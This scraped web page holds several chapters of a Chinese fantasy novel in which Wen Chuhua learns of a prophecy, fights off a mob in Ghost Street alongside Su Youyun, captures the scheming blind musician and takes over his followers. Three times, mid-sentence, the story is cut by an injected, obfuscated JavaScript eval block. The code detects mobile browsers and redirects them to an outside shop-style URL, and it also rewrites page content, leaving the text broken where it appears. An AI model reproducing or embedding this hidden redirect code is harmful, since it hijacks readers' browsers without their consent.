温初花睁开眼睛,偏头看了他一眼。月光打在他的侧脸上,把那副眼镜的边框照得发亮。他的表情跟平时一样,没什么表情,但她注意到他的嘴唇比平时抿得紧了一些,下巴的线条也更硬了。有什么事在他脑子里转,他不说,但她能感觉到,像能感觉到空气中那股微弱的、暴风雨来临前的闷热。 她想了想,决定不绕弯子了。她这个人本来就不会绕弯子。 “你到底想要什么?” 苏游云偏头看了她一眼。月光在他的眼镜片上反射了一下,遮住了他的眼睛,她看不清他的表情。他沉默了一会儿,然后把目光收回去,重新落在远处的拱门上。 “来鬼街之前,”他开口了,声音不大,但每个字都说得很清楚,“凌歌的预言我就听说过。” 温初花的手指在油毡上轻轻敲了一下。凌歌。异人族群最著名的预言家,据说他的预言从来没有错过。三十年前他说“藤洲将成为异人的最后庇护所”,两年后五洲联盟设立了藤洲岛。二十年前他说“鬼街之下埋藏着一切的根源”,后来人们发现了那条缚灵粒子原始矿脉。十年前他说“一个人将改变异人的命运”,从那以后,所有异人都在等那个人的出现。 温初花当然听过这个名字。因为三个月前那个雨夜,她从尸体身上搜出的那封信上,也写着这个名字。 “听过。”她说。 苏游云的嘴角微微动了一下,像是在确认什么事,又像是在犹豫要不要继续说。他沉默了几秒,然后说了一句让温初花心跳加速的话。 “我来鬼街,是为了找一个人。一个能改变一切的人。” 温初花的手在油毡上停住了。 风忽然大了一些,把她外套的下摆吹起来,又落下去。楼下的收音机不知道什么时候关了,整栋楼忽然变得很安静,安静到她能听到自己的心跳声。她转过头看着苏游云的侧脸,想从他的表情里找到一丝开玩笑的痕迹。找不到。他的表情很认真,认真到她第一次觉得这个人不是一堵白墙,而是一个人——一个有自己的目的、自己的计划、自己的执念的人。 “你要找的是……我?” 苏游云偏过头来,看着她。月光照在他的脸上,那双眼镜片后面的眼睛里有一种她没见过的光。不是温柔,不是崇拜,是一种更复杂的东西——像是在看一个答案,又像是在看一个问题。 “凌歌的预言说,”他的声音很轻,“那个人在这里。” 温初花的喉咙紧了一下。在鬼街。那个人在鬼街。她想起了盲眼琴师说过的话——“外面的预言,说你是未来的至尊。”她当时以为那是琴师在试探她,或者是琴师被什么错误的信息误导了。但现在苏游云也这么说。凌歌的预言,说那个人在鬼街。而她,就在鬼街。 “凌歌的预言……”温初花的声音有些发涩,“就是让我被追杀的原因。” 她从来没有对任何人说过这件事。三个月前那个雨夜,她从一具尸体身上搜出一封信。信上写着凌歌的预言内容,以及一个命令——找到那个女人,不惜一切代价。那封信她烧了,但信上的每一个字她都记得。凌歌说,能改变异人族群命运的人,是一个女人,她的能力是——温初花把那封信烧掉的时候,那一行字已经刻进了她的脑子里。 苏游云转过头来,看着她。“你的被追杀,不是预言的问题。” 温初花看着他。 “是人的问题。”苏游云说,语气平静得像在陈述一个事实,“有人相信预言,有人害怕预言。害怕的人想杀你,相信的人想找你。你被追杀,不是因为预言说了什么,而是因为那些人做了什么。” 温初花沉默了。她从来没有从这个角度想过这件事。她一直以为是预言给她带来了灾祸,是那些该死的字句让她从一个正常的生活跌进了这个永无止境的逃亡。但苏游云说得对——预言只是一段话,是人的选择让这段话变成了刀。 她靠在墙垛上,后脑勺抵着冰凉的水泥,闭上眼睛。风从脸上吹过去,带着鬼街特有的那股霉味和远处垃圾堆的腐臭。她深吸了一口气,又慢慢地吐出来。 “所以你相信那个预言?”她睁开眼睛,偏头看着他,“你觉得我是……至尊?” 苏游云也在看她。月光把他整个人镀上了一层薄薄的银白色,他坐在那里的姿势还是那样,一只腿伸直,一只腿弯着,胳膊搭在膝盖上。但这个人的眼睛里,有什么东西不一样了。不是变热了,是变深了,深到你能看到他的认真。 “我觉得,”他说,一字一顿,“你有那个可能。” 温初花盯着他看了几秒,然后移开了目光。 她不知道该说什么。她从来没有被人这样看过。不是看一个能打的女人,不是看一个逃命的人,不是看一个可以利用的工具。是看她本身。看温初花,不是看“至尊”,不是看“预言中的人”,就是看她。 这种感觉很奇怪。像一个在黑暗中走了很久的人,忽然有人递过来一盏灯。你可以选择不接,但你没办法假装那盏灯不存在。 “我不需要当什么至尊,”她说,声音比平时低了一些,“我只想活着离开这里。” 这是她第一次对任何人说出这句话。来鬼街快四个月了,她一直告诉自己,活着就行,出不出去无所谓。但那是骗自己的。她想出去。她想离开这个破地方,想回到外面的世界,想有一天不用再担心有人从背后捅她一刀。她想活着,不是像鬼街这样苟延残喘地活着,是真正的、有尊严的、不用每天把匕首藏在袖子里的那种活着。 苏游云看着她的眼睛。 “那我们可以一起想办法。” 这句话说得很轻,轻得像风。但它落下来的时候,温初花觉得自己的心被什么东西砸了一下。不是疼,是那种——你一直一个人扛着的东西,忽然有人伸手接过去了一半。 她看着他,张了张嘴想说什么,又闭上了。她转过头,看着远处那道永远翻涌着白雾的拱门。月光照在雾上,把整片雾染成了银白色,像一条巨大的、安静的河,从天上流下来,流到鬼街的入口,然后停在了那里。 “你到底是什么人?”温初花问。声音不大,像是在问苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风又大了一些,吹得她外套的领子翻起来,打在脸上。她伸手把领子按下去,手指碰到了领口那根别针。别针还在,把外套领口别得牢牢的,就像她这个人,不管被风吹多少次,都还在这儿。 月亮又往西边沉了一些,光线暗了,远处那道拱门的轮廓开始变得模糊。苏游云站起来,拍了拍裤腿上的灰,往楼梯口走了两步,又停住了。 “伤口别沾水。”他说。 温初花低头看了看自己小臂上的纱布,嘴角动了一下。“知道了。” 他的脚步声在楼梯间里响了几下,越来越远,最后被整栋楼的寂静吞没了。 温初花一个人坐在屋顶上,把苏游云说的话在脑子里过了一遍。凌歌的预言,鬼街,能改变一切的人,你有那个可能。这些词像几块散落的拼图,她已经能看到它们之间隐约的线条,但还差几块才能拼出完整的画面。 她不知道苏游云为什么来找她,不知道他说的那些“另一些人”是谁,不知道他到底在图什么。但她知道一件事——这个人说的“一起想办法”,不是在敷衍她。 她听得出一个人说真话和说假话的区别。 温初花在屋顶上又坐了一会儿,等风把脸上的热度吹散了,才站起来,拍了拍裤子上的灰,走下楼梯。经过三楼的时候,那扇门的门缝底下没有光,里面是黑的。她在门口站了两秒,然后继续往下走。 回到屋里,她把匕首从手腕上解下来,搁在枕头底下。行军床吱呀一声,她翻了个身,面朝墙壁。墙上的裂缝还是那条,从墙角一直延伸到天花板,像一个歪歪扭扭的问号。 她在黑暗中睁着眼睛,过了很久,才慢慢闭上。 19. 并肩作战 消息是第二天早上传开的。 温初花正在陈老板的摊子上吃面,姓赵的从巷子那头跑过来,脸色不对。他蹲下来,压低声音说了几句话。温初花的筷子停了一下,然后继续吃面。 “谁说的?” “琴师那边的人在传。说你是外界的间谍,进来鬼街别有目的。还说□□追杀你是因为你偷了他们的东西,你要把鬼街的秘密卖给外面的人。”姓赵的声音压得很低,但每个字都咬得很重,“现在下面那条街已经炸了,好多人说要来找你讨个说法。” 温初花把最后一口面扒拉进嘴里,放下碗,擦了擦嘴。她早就知道琴师会动手,只是没想到会选这种下三滥的路数——不直接打,先坏你名声。鬼街的人最恨什么?最恨外面的人。他们都是从外面被赶进来的,是被五洲联盟抛弃的、被社会唾弃的、在藤洲岛都活不下去才躲进鬼街的人。对他们来说,“外界的间谍”这四个字比任何脏话都难听。 “多少人?”她问。 “至少三四十个。还在聚。”姓赵的喉结上下滚动了一下,“温姐,要不你先避避?” 温初花看了他一眼。避?往哪避?鬼街就这么大,能进不能出,避到天上去?她站起来,从袖子里把匕首的刀尖弹出来看了一眼,又收了回去。 “老周那边的人呢?” “十几个,能打的不到十个。小六已经把铁匠铺的门关了,大家在铺子里等着。” 温初花点了点头。她转身往楼上走,上了三楼,在那扇干干净净的门上敲了三下。 门开了。苏游云穿着那件深灰色的薄外套,衬衫还是扣到最上面一颗。他看了温初花一眼,没问怎么了,好像早就知道她会来。 “琴师动手了,”温初花说,“煽动了一帮人来堵我。” 苏游云靠在门框上,两手插在裤兜里。“多少人?” “三四十。” “你那边多少人?” “能打的不超过十个。” 苏游云沉默了两秒,点了下头。温初花不知道他点头是什么意思,但下一秒他就从门框上撑起来,迈出了门,顺手把门带上了。 “走。” 温初花愣了一下,然后跟了上去。两个人一前一后下了楼,走到巷口的时候,姓赵的还站在那里,看到苏游云跟在温初花身后,嘴张了张,没说出话。 从巷口到楼下这段路,平时没什么人,现在站满了。男人、女人、老人,甚至还有几个半大的孩子。他们穿着脏兮兮的衣服,脸上带着那种被生活磨得麻木的表情,但今天这层麻木底下多了点别的东西——愤怒。有人在喊“间谍滚出去”,有人在喊“不能让她祸害鬼街”,还有人在喊一些更难听的,温初花没听清,也不想听清。 人群在看到温初花的那一刻安静了。 那种安静比喊叫更可怕。三四十双眼睛同时盯着她,像一群饿了很久的野狗盯着一块肉。有人往后退了一步,有人往前迈了半步,有人的手伸到了背后——那里藏着刀、棍子、铁管,什么样的武器都有。 温初花站在台阶上,比人群高出一个头。她没有后退,没有把手伸进袖子里,就那么站着,目光从人群的脸上一个一个地扫过去。 “谁说我是什么间谍?”她的声音不大,但很稳,在安静的巷子里传得很远。 人群里有人动了动,但没有站出来。 “琴师说的。”有人在人群后面喊了一声,声音尖利,带着一种躲在别人身后才会有的勇气。 “琴师说的?”温初花重复了一遍,嘴角动了一下,“琴师说的你们就信?你们在鬼街待了这么久,什么时候见过我往外传消息?我连鬼街的门都出不去,我往哪传?传给谁?” 人群里有人交头接耳,声音嗡嗡的,像一群苍蝇。 “那你为什么来鬼街?”同一个声音又在喊,“外面的人都说你是□□的叛徒,你偷了他们的东西!” 温初花的目光越过人群,找到了那个声音的来源——一个瘦小的男人,四十来岁,缩在人群后面,眼睛滴溜溜地转。她没见过这个人,但她知道他是什么人。琴师养的狗,专门负责在人群里煽风点火的那种。 “我是被人追杀进来的,”温初花说,目光锁着那个男人,“跟你们大多数人一样。你们谁不是在外面活不下去了才进来的?谁手里没几条人命?谁身上没背着债?”她的声音一句比一句重,最后一句几乎是喊出来的,“现在跟我说间谍?你们信他还是信我?” 人群沉默了。 那个瘦小的男人又张了张嘴,但这次没等他出声,一块石头从人群里飞了出来,直奔温初花的面门。 她没有躲。石头砸在她额头上,闷响了一声,然后弹开,落在台阶上,骨碌骨碌地滚了下去。血从她的额角渗出来,顺着眉骨往下淌,流过眼角,在颧骨上分成两股,一股流向鼻梁,一股流向脸颊。温初花没有擦。 她的眼睛始终盯着人群。 那一瞬间,她心里想的是——终于来了。 人群在石头飞出的那一刻炸了。不是所有人,但至少有十几个人同时动了。有人从背后抽出铁管,有人亮出匕首,有人举着不知道从哪里拆下来的木棍。他们从四面八方向温初花涌过来,像一群被捅了窝的马蜂,没有章法,没有配合,但数量压人。 姓赵的带人从巷口冲了过来,小六举着一把铁锹跑在最前面。但他们的位置太远,至少还要十几秒才能到。 温初花不需要那十几秒。 她没有退,而是往人群里迈了一步。右手一翻,匕首从袖子里弹出来,刀尖从指缝间探出,在晨光中亮了一下。第一把铁管从左侧砸过来,她左手架住那人的手腕,往怀里一带,那人踉跄了一步,露出了肋下。她的左膝顶上去,肋骨断裂的声音从那人身体里传出来,闷闷的,像踩碎了一块干木头。那人弯下腰去,铁管脱手,当啷一声掉在地上。 匕首往右划。第二个人冲上来的时候,她的刀尖已经等在了他的路线前方。不是捅,是划。刀尖划过他的前臂,从手腕到肘关节,皮肉翻开,血珠沿着刀口往外冒。那人惨叫一声,捂着胳膊退了两步,撞倒了身后的人。 第三个人从背后扑上来了。温初花听到风声,没有转身,直接蹲了下去。一根木棍从她头顶扫过去,带着呼啸的风。她的右手反手往上一捅,匕首扎进了那人的大腿外侧。不深,但足够了。那人的腿一软,整个人往前栽倒,从温初花的肩膀上方翻了过去,摔在她面前的地上,脸磕在台阶上,牙齿崩了一颗,血沫从嘴角喷出来。 第四个人、第五个人、第六个人——她来不及数了。 巷子窄,人挤人,她的匕首在人群中穿梭,每一次挥出都带出一道血线。但她没有杀。刀尖挑的是手腕、小臂、肩膀、大腿,全是能让人失去战斗力的位置,没有一刀是要命的。不是心软,是不能杀。这些人不是琴师的手下,是被煽动的普通鬼街居民。杀了他们,她就真的成了琴师嘴里那个“间谍”。 血溅在她脸上,温热的,混着她额头上流下来的血,整张脸都是红的。 但她开始吃力了。人太多,她只有两只手,一把匕首。三根铁管从三个不同的方向同时砸过来,她挡住了两根,第三根砸在她后背上,疼得她眼前一黑,往前踉跄了一步。一口腥甜从喉咙里涌上来,她咬住了,没吐出来。 就在这一刻,苏游云从她身后走了出来。 他穿过温初花身边的时候,步伐没有任何加快,还是那种不紧不慢的节奏,像在街上散步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553597|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但他的右手从口袋里抽出来了,空着手,没有武器。 第一根铁管朝他砸过来。他没有躲,左手抬起,五指扣住了铁管的中段。那人的手像被焊在了铁管上一样,抽不回去,也砸不下来。苏游云往前一带,那人的身体前倾,下巴露了出来。苏游云的右肘从下往上砸在对方的下巴上。骨头的碎裂声很脆,那人翻着眼白往后倒去,铁管到了苏游云手里。 他握住铁管的中段,像握着一把短棍。他的打法和温初花完全不同——温初花是贴身短打,匕首在人群中穿插,快、准、狠。苏游云是拉开距离,铁管在他手里画着圆弧,每一次挥出都带着一道漂亮的弧线,精准地砸在对方的关节上。膝盖、肘关节、手腕、脚踝——全是让人失去行动能力但不致命的位置。他的动作干净得像在做手术,没有多余的动作,没有浪费的力气。 一根木棍从侧面砸向他的后脑。他没有回头,铁管从左肩上方往后一送,棍尖戳在来人的胸口,那人像被一头牛撞了一样往后飞出去,撞在墙上,滑下来,不动了。 温初花看到他打架的样子,心里只有一个念头——这个人,她打不过。不是力量的问题,是层次的问题。她的格斗是街头杀出来的,每一招都是为了活下去。他的格斗是系统训练出来的,每一招都经过了千锤百炼,精确到每一个角度、每一寸距离。她流的血比他人多,他流的汗比她多。 两个人,一个在人群前面,一个在人群中间,刀和铁管,贴身和拉开,短短几分钟,地上已经躺了十几个人。姓赵的带人从巷口冲进来了,小六的铁锹拍翻了一个,姓赵的用一根铁钎捅倒了一个,老周派系那十几个能打的虽然人数少,但个个都是铁匠铺里抡大锤出身的,力气大,骨头硬,一对一不落下风。 琴师派系的人开始退了。先是两三个,然后是五六个,最后呼啦一下全散了。地上躺着的人还在呻吟,有人在喊疼,有人在喊妈,有人在喊一些听不清的词。血溅在墙上、地上、台阶上,在晨光下发黑。 温初花靠在墙上,大口大口地喘气。匕首还握在手里,刃口上的血顺着刀尖往下滴,在地上汇成一小滩。她的后背火辣辣地疼,挨了那一下铁管的地方已经肿了,呼吸的时候肋骨下面像针扎一样。额头上被石头砸破的口子还在往外渗血,糊住了左眼,她拿袖子蹭了蹭,蹭得整张脸更花了。 苏游云走过来,把那根铁管扔在一边,铁管在地上弹了两下,滚到墙角。他身上几乎没有伤,只有右手背上有一道浅浅的划痕,破了点皮,连血都没怎么出。他的呼吸比平时快了一点,但也只是一点。 温初花看着他,血从她的额头、脸颊、下巴往下滴。她想说点什么,但嗓子太干了,张了张嘴,只发出一声沙哑的气音。 苏游云从口袋里掏出一块手帕,递给她。白色,叠得方方正正,没有任何花纹。 温初花接过来,按在额头上,白色的手帕立刻被血染红了一大片。 “那个人,”苏游云说,目光落在巷子尽头的方向,“不在这里。” 温初花知道他说的是谁。琴师不在这里。这场围攻是琴师煽动的,但琴师本人没有出现。他躲在那个小院子里,等着看好戏。 “去把他揪出来。”温初花把手帕压在额角上,站直了身子。后背上挨了一铁管的地方疼得她直咧嘴,但她没吭声。 姓赵的从人群里挤过来,脸上还有别人的血,不知道是谁的。“温姐,我跟你去。” 温初花看了他一眼,又看了苏游云一眼。苏游云没说话,但跟上了她的步伐。姓赵的带了五个人,小六举着铁锹跟在最后面。一行人穿过巷子,走过十字路口,经过老周的铁匠铺——铺门紧闭,铁皮门板上多了几道新痕,是今天早上被人砸的。温初花看了一眼,没停。 20. 活捉爱搞事的琴师 琴师的院子在鬼街最深处,那条窄巷子的尽头。 门是关着的。木门,漆已经掉光了,露出底下灰白色的木头。温初花没有敲门,一脚踹在门板上。门没有锁,咣当一声撞在墙上,弹回来,又被她一脚踹开了。 院子里站着七个人。 领头的是灰衣年轻人,温初花见过他两次,一次是来送“邀请”,一次是来老周这边打探消息。他身后站着六个人,高矮胖瘦各不同,但站姿一样——重心下沉,双手垂在身侧,目光集中在温初花身上,像一群等着扑食的猎狗。 琴师坐在院子中央的石凳上,面前摆着茶壶和茶杯。茶壶嘴还在冒热气,茶是刚泡的。他的眼睛闭着,手指搭在石桌的边沿上,听到门被踹开的声音,手指微微动了一下,但脸上没有任何表情。 “温小姐,”他说,声音平稳得像什么都没发生过,“比我想的要快。” 温初花走进院子,站在石桌前。苏游云跟在她身后,在院门口站住了,靠在门框上,两手插在兜里。 “你想杀我?”温初花问。 琴师的嘴角微微动了一下。“想杀你的人,在外面。不在鬼街。” “那你煽动那些人围攻我,算什么?” “算……提醒。”琴师说,“提醒你,鬼街不是你的天下。” 温初花盯着他那双闭着的眼睛看了两秒。她懒得跟他废话了。往前迈了一步,灰衣年轻人挡在了琴师面前。他的右手里多了一把刀,不长,但刃口很亮。 温初花看着灰衣年轻人的眼睛。“你拦不住我。” 灰衣年轻人没有退。他握刀的手很稳,呼吸很平。他是琴师最忠诚的人,这一点从他站在琴师面前的方式就能看出来——不是为了命令,是为了保护。 温初花没跟他打。不是打不过,是没必要。她的目光越过灰衣年轻人的肩膀,落在琴师身上。 “让你的人让开。”温初花说。 琴师没动。 温初花往前迈了一步。灰衣年轻人的刀尖抬了起来,对准她的咽喉。 身后传来一声闷响。苏游云不知什么时候绕到了灰衣年轻人的侧面,一掌劈在他的手腕上。刀飞出去,在空中转了两圈,当啷一声掉在青石板上。苏游云扣住他的肩膀,把他按在墙上,膝盖顶住他的腰眼,整个人动弹不得。 灰衣年轻人挣扎了两下,没挣动,就不再动了。他的眼睛还是看着琴师的方向,嘴唇动了一下,像在说什么,但没有发出声音。 温初花走到琴师面前。 “你的计划到此为止了。”她说。 琴师的手指在石桌上微微颤抖。不是害怕,是愤怒。他的嘴唇抿成一条线,脸上的肌肉紧绷着,那双闭着的眼睛上面,眉头拧成了一个死结。他不说话,就那么坐着,像一块被人从地里挖出来的石头,又硬又冷。 温初花回头看了一眼被按在墙上的灰衣年轻人。他的脸贴着冰凉的墙面,嘴角破了,血沿着下巴往下滴,但他的眼睛始终没有离开琴师。 “你问他没用,”灰衣年轻人的声音从墙那边传过来,闷闷的,“他什么都不会说。” 温初花走到他面前,蹲下来,跟他的视线平齐。“那你替他说。” 灰衣年轻人看着她,嘴角动了一下,像是在笑,又像是在咬牙。“你杀了我吧。” “我不杀你。”温初花站起来,转头看了一眼姓赵的。姓赵的点了下头,带着两个人开始搜院子。他们在琴师的卧房里翻出了一个木箱子,撬开锁,里面整整齐齐地码着几样东西——一叠藤洲岛通用的纸币,两把崭新的匕首,还有一个小巧的黑色传信器。 姓赵的把传信器举起来,冲着温初花晃了晃。 温初花走过去,接过传信器,翻来覆去看了看。这种传信器她见过,阿七给她的那个就是这个款式。外面世界的东西,鬼街的压制对它没用,可以穿透那道浓雾,把消息传递到藤洲岛的任何一个角落。 “这个是跟谁联系的?”温初花把传信器举到灰衣年轻人面前。 灰衣年轻人看着那个传信器,闭上了嘴。 温初花等了几秒,把传信器收回口袋里。“你不说我也知道。林生宸,对不对?” 灰衣年轻人的瞳孔微微缩了一下。 姓赵的从箱子里又翻出一样东西——一张叠得整整齐齐的纸。他展开来看了看,脸色变了,递给温初花。温初花接过来,扫了一眼。纸上写着一行字,笔迹很工整,像是练过书法的人写的,每个字都端端正正。 “温初花,女,异人,□□叛逃者,目前在鬼街。能力不明,但格斗能力极强。需生擒。” 温初花把纸翻过来,背面还有一行字,字迹更小,更密。 “回报:五人队进驻鬼街,物资每月供应。若能将其控制在手中,待离开之日,鬼街矿脉的开发权归你。” 温初花盯着那行字看了几秒,把纸折了折,塞进口袋里。她看了一眼被按在墙上的灰衣年轻人,又看了一眼坐在石桌后面的琴师。 “所以你费这么大劲,煽动人围攻我,想把我逼到绝路,让我来求你。等你把我捏在手里了,再用我去换林生宸的庇护。”她的声音不大,但每个字都说得很清楚,“你知道林生宸要活捉我,你不杀我,你只是想让我在鬼街活不下去。” 琴师的手指停止了颤抖。他的脸上没有任何表情,像一尊蜡像。 “带走。”温初花对姓赵的说了两个字。 姓赵的一挥手,两个人上来把琴师从石凳上架了起来。琴师没有挣扎,也没有说话,任由他们架着往外走。他的拐杖掉在了地上,没有人帮他捡。 灰衣年轻人被押着跟在后面。他走过温初花身边的时候,忽然停了一下,偏头看着她。 “你知道林生宸为什么要活捉你吗?” 温初花看着他。 灰衣年轻人嘴角动了一下,那个表情说不清是笑还是什么。 “因为他知道你是谁。” 苏游云从后面走上来,扣住灰衣年轻人的肩膀,把他往前推了一下。灰衣年轻人没有再说话,低着头被人押走了。 院子里安静下来。竹叶还在沙沙地响,石桌上的茶已经凉透了,茶壶嘴不再冒热气。琴师坐过的石凳上还有他的体温,温初花伸手摸了一下,微温的。 她站在院子中央,把那张纸从口袋里掏出来,又看了一遍。“回报:五人队进驻鬼街,物资每月供应。若能将其控制在手中,待离开之日,鬼街矿脉的开发权归你。” 她把纸撕了,碎片扔在地上,用脚踩了一下。 “你怎么知道琴师跟林生宸有联系?”苏游云问。 “我不知道,”温初花说,“我猜的。” 苏游云看了她一眼。 “鬼街外面能跟琴师做交易的没几个人。阿七告诉我他查到了林生宸的人最近在藤洲港□□动频繁。”温初花把匕首收进袖子里,在裤腿上蹭了蹭手心的汗,“赌了一把,赌对了。” 温初花转过身,看着他。“你早就知道琴师跟林生宸有联系?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555603|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏游云沉默了一秒。“猜到一些。” “那你为什么不告诉我?” 苏游云看着她。“我没有证据。” 温初花盯着他的眼睛看了两秒。他说的是真话——没有证据,所以不说。这个人做事就是这样,每一步都踩得很实,没有把握的事情不做,没有证据的话不说。她不知道这是他的性格还是他的职业习惯,但不管是哪种,她都挑不出毛病。 她走出院子。阳光打在脸上,她眯了眯眼。 姓赵的带着人把琴师和灰衣年轻人押到了老周铁匠铺后面的空屋子里,跟疯子三兄弟关在一起。温初花没有去看。她回到楼下,在台阶上坐下来,把袖子撸上去,看了一眼小臂上的纱布。纱布已经被血浸透了,分不清是今天新流的还是昨天的旧伤裂了。 苏游云在她旁边坐下来。两个人并排坐在台阶上,谁都没有说话。 过了一会儿,苏游云开口了。 “林生宸要活捉你。” “我知道。” “你不担心?” 温初花偏头看了他一眼。“担心有用吗?” 苏游云没有回答。他低下头,从口袋里掏出那块手帕——已经被血染红了大半——叠了叠,塞回口袋。 温初花看着他的动作,忽然开口。 “你帮我,是因为预言吗?” 苏游云的手指停了一下。他没有看她,目光落在远处那道永远翻涌着白雾的拱门上。 “一开始是。” 温初花等了一会儿。 “现在呢?” 苏游云沉默了很长时间。长到温初花以为他不会回答了。她正准备站起来走人,他开口了。 “不知道。” 温初花愣了一下。“不知道?” “不知道。”苏游云转过头看着她,阳光照在他的眼镜片上,反射出一小片光,遮住了他的眼睛。“一开始,我来鬼街是因为预言。我需要找到预言里说的那个人。但现在……”他顿了一下,“我不知道是因为预言,还是因为你。” 温初花张了张嘴,想说点什么,但嗓子像被什么东西堵住了。她转过头,看着巷口那棵歪脖子的行道树,叶子还是那样半死不活地耷拉着。 她靠在墙上,把两条腿在台阶下面晃了晃。 “苏游云。” “嗯。” “你今天说话怎么这么肉麻。” 苏游云的嘴角微微动了一下。“我只是在陈述事实。” 温初花哼了一声。“你的事实挺肉麻的。” 苏游云没有再说话。温初花也没有。两个人就那么坐在台阶上,看着巷子里的光影一点一点地移动。阳光从东边移到西边,把他们的影子从左边拖到右边,又从右边拖回左边。 姓赵的从巷口走过来,站在几步远的地方,犹豫了一下。 “温姐,琴师那边怎么处理?” 温初花想了想。“关着。别让他死了,也别让他好过。” 姓赵的点了点头,转身走了。 温初花把袖子放下来,挡住小臂上的纱布,站起来,拍了拍裤子上的灰。 “走了,伤口得重新包一下。” 苏游云站起来。“我帮你。” 温初花看了他一眼,想说不用,但话到嘴边变成了:“行吧。” 两个人一前一后上了楼。脚步声在空荡荡的楼梯间里一下一下地响着,一个在前面,一个在后面,中间隔着两三步的距离。不快不慢,不远不近。 21. 成为老大的那天 琴师被囚的第二天,天还没亮,温初花的门就被人敲响了。 她打开门,走廊里站着七八个人。领头的姓赵,身后跟着几个生面孔——都是琴师那边的人。为首的是一个四十来岁的女人,短发,方脸,胳膊上纹着一条褪了色的青龙,见人就低头,不太爱说话。她叫方敏,在琴师手下管着十几号人,管的是物资分配——谁家缺米了、谁家没盐了,都找她。琴师倒了,她是最先来投靠的人。 方敏把手里的一个布包递过来,沉甸甸的。温初花打开一看,是钱。鬼街通用的那种,皱巴巴的纸币,码得整整齐齐,用一根橡皮筋扎着。 “琴师攒的,”方敏说,声音不大,但很清楚,“分了三份,一份给老周那边,一份留着给大家用,这一份是你的。” 温初花看了一眼那些钱,没接。“我不缺钱。” 方敏抬起头看了她一眼,又低下头。“那你想怎么安排?” 温初花靠在门框上,想了想。“先维持原样。你管物资还是你管,人还是那些人,该干嘛干嘛。只有一个区别——以前琴师收的保护费,取消了。” 方敏愣了一下。 “你们以前每个月给琴师交钱,对吧?”温初花说,“以后不用交了。鬼街就这么大,大家活得都不容易,能省一点是一点。” 走廊里安静了一瞬。方敏身后那几个人互相看了看,表情从紧张变成了意外,又从意外变成了一种温初花说不上来的东西。有人在点头,有人在搓手,有人张了张嘴想说什么又咽了回去。 方敏把布包收回去,嘴唇动了动。“那琴师的人……你怎么安置?” “想留下的留下,不想留的我不勉强。但有一条——”温初花看着方敏的眼睛,“在我这儿,不许欺负人。鬼街的规矩以前是‘谁拳头大谁说了算’,从今天起改了。谁的拳头都不许对着自己人。” 方敏沉默了一会儿,点了点头,带着人走了。 姓赵的站在走廊里没走。等那些人下了楼,他才开口。 “温姐,琴师那边有十几个人,加上老周这边的十几个,你现在手里有三十多号人了。” “然后呢?” “然后——”姓赵的苦笑了一下,“你现在是鬼街势力最大的人了。” 温初花看了他一眼,没说话。她从来没有想过要当什么“势力最大的人”。她来鬼街是为了活命,不是为了当老大。但现在琴师倒了,他的人要么归顺要么散了,老周这边的人指着她吃饭,她就这么被架到了这个位置上。不是她想坐,是没有人能坐。 她关上门,回到屋里。行军床上的被子还没叠,枕头底下压着那把匕首。她坐下来,把匕首抽出来,刀身在晨光中亮了一下。刃口有点钝了,上次打架砍到了骨头上,崩了一个小口子,需要磨一磨。 她想起疯子三兄弟。还关在老周铁匠铺后面的空屋子里。 温初花把匕首收好,出了门。去铁匠铺的路上经过十字路口,她发现有人在看她。不是那种恶意的看,是那种——打量。带着好奇、带着试探、带着某种不确定的东西。她走过去之后,身后传来窃窃私语的声音,很小,但她听到了。 “那就是温初花……”“琴师就是被她……”“听说以后不用交钱了……” 温初花没有回头。 老周的铁匠铺开门了。门框还是歪的,门板换了一块新的,铁皮还没包上去,露着里面白茬茬的木板。老周坐在门口,胳膊上吊着绷带,脸上的伤还没消肿,但气色比前几天好多了,看到温初花走过来,从凳子上站起来,动作有点急,扯到了伤口,疼得龇了一下牙。 “你坐着。”温初花说。 老周没坐,就那么站着,看着她。“听说琴师那边的人来找你了?” “来了。” “你收了吗?” “收了。” 老周沉默了一会儿,然后点了点头。“行。你做主,我没意见。” 温初花看了他一眼。“老周,我不是来抢你地盘的。” “我知道,”老周说,声音有点涩,“你要是抢地盘的人,那天晚上你就不会来救我。我就是想说——你做主,我没意见。我打铁打了三十年,只会打铁,不会当老大。你比我适合。” 温初花张了张嘴,想说点什么,但老周已经转身进了铺子,拿起锤子开始敲一块烧红的铁。叮叮当当的声音在铺子里炸开,像是把刚才那些话一锤一锤地钉进了铁里。 小六从铺子后面跑出来,手里端着一碗水,递给温初花。“温姐,那三个人……你要去看看吗?” 疯子三兄弟被关在铁匠铺后面的一间空屋子里。门是铁皮的,从外面上了锁。小六把锁打开,推开门,退到一边。 